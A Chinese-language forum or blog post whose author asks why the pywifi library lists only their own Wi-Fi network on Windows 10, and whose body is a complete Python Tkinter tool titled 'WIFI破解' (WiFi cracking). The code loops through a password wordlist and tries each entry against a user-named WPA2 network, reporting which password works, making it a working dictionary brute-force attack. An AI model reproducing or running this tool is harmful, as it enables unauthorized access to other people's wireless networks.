Python中Pywifi扫描不到附近wifi列表的疑问(待解决)

Python中Pywifi扫描不到附近wifi列表的疑问(待解决)

源代码

from tkinter import  *
from pywifi import const
import pywifi
import time

# 导入模块
# 获取第一个无线网卡
# 断开所有的Wifi连接
# 读取密码字典
# 设置睡眠时间,有响应时间让其连接成功

#测试密码
def wificonnect(str,wifiname):
    #创建无线对象
    wifi = pywifi.PyWiFi()
    #抓取第一个无线网卡
    ifaces = wifi.interfaces()[0]
    #断开所有wifi连接
    ifaces.disconnect()
    time.sleep(1)

    #判断连接状态
    if ifaces.status() == const.IFACE_DISCONNECTED:
        #创建wifi连接文件
        profile = pywifi.Profile()
        #wifi名字
        profile.ssid = wifiname
        #wifi的加密算法
        profile.akm.append(const.AKM_TYPE_WPA2PSK)
        #wifi的密码
        profile.key = str
        #网卡的开放状态
        profile.auth = const.AUTH_ALG_OPEN
        #删除所有的wifi连接文件
        ifaces.remove_all_network_profiles()
        #设定新的连接文件
        tep_profile = ifaces.add_network_profile(profile)
        #连接网络
        ifaces.connect(tep_profile)
        time.sleep(5)

        if ifaces.status() == const.IFACE_CONNECTED:
            return TRUE
        else:
            return FALSE
            
    else:
        print("已经连接")

#读取密码
def readPwd():
    #获取WiFi名称
    wifiname = entry.get()

    path = r'D:\PythonDemo\wordlist.TXT'

    file = open(path,"r")
    while TRUE:
        #捕获异常
        try:
            #读取密码本  一行一行读取
            myStr = file.readline()
            # print(myStr)
            #测试连接
            bool = wificonnect(myStr,wifiname) #调用wificonnect方法尝试密码
            if bool:
                text.insert(END, "密码正确" + myStr)
                text.see(END)
                text.update()
                break
            else:
                text.insert(END,"密码错误"+myStr)
                text.see(END)
                text.update()

        except:

            #跳出当前循环 继续下一次循环
            continue



#创建窗口
root = Tk()
#窗口标题
root.title("WIFI破解")
#窗口大小
# root.geometry('500x400')
#窗口位置
# root.geometry('+550+350')

root.geometry('640x460+550+350')

#标签控件
label = Label(root,text = "输入要破解的WiFi名称:")
#标签位置,定位  这里是网格式的布局    还有 pack 包布局  place 位置布局
label.grid(row = 0 , column = 0)
#输入控件
entry = Entry(root,font = ("微软雅黑",20))
entry.grid(row = 0,column = 1)  #第0行第1列

#列表框控件
text = Listbox(root,font = ("微软雅黑",20),width = 40,height = 10)
text.grid(row = 1,columnspan = 2) #第1行,横跨了2列

#按钮控件
button = Button(root,text = "开始破解",width = 20,height = 2,command = readPwd)  #触发readPwd
button.grid(row =2,column = 1)

#显示窗口    消息循环
root.mainloop()

只能扫描到已连接的自己的WIFI名称,无其他wifi列表,win10系统,待解决。

你可能感兴趣的:(Python,Python,PyWifi)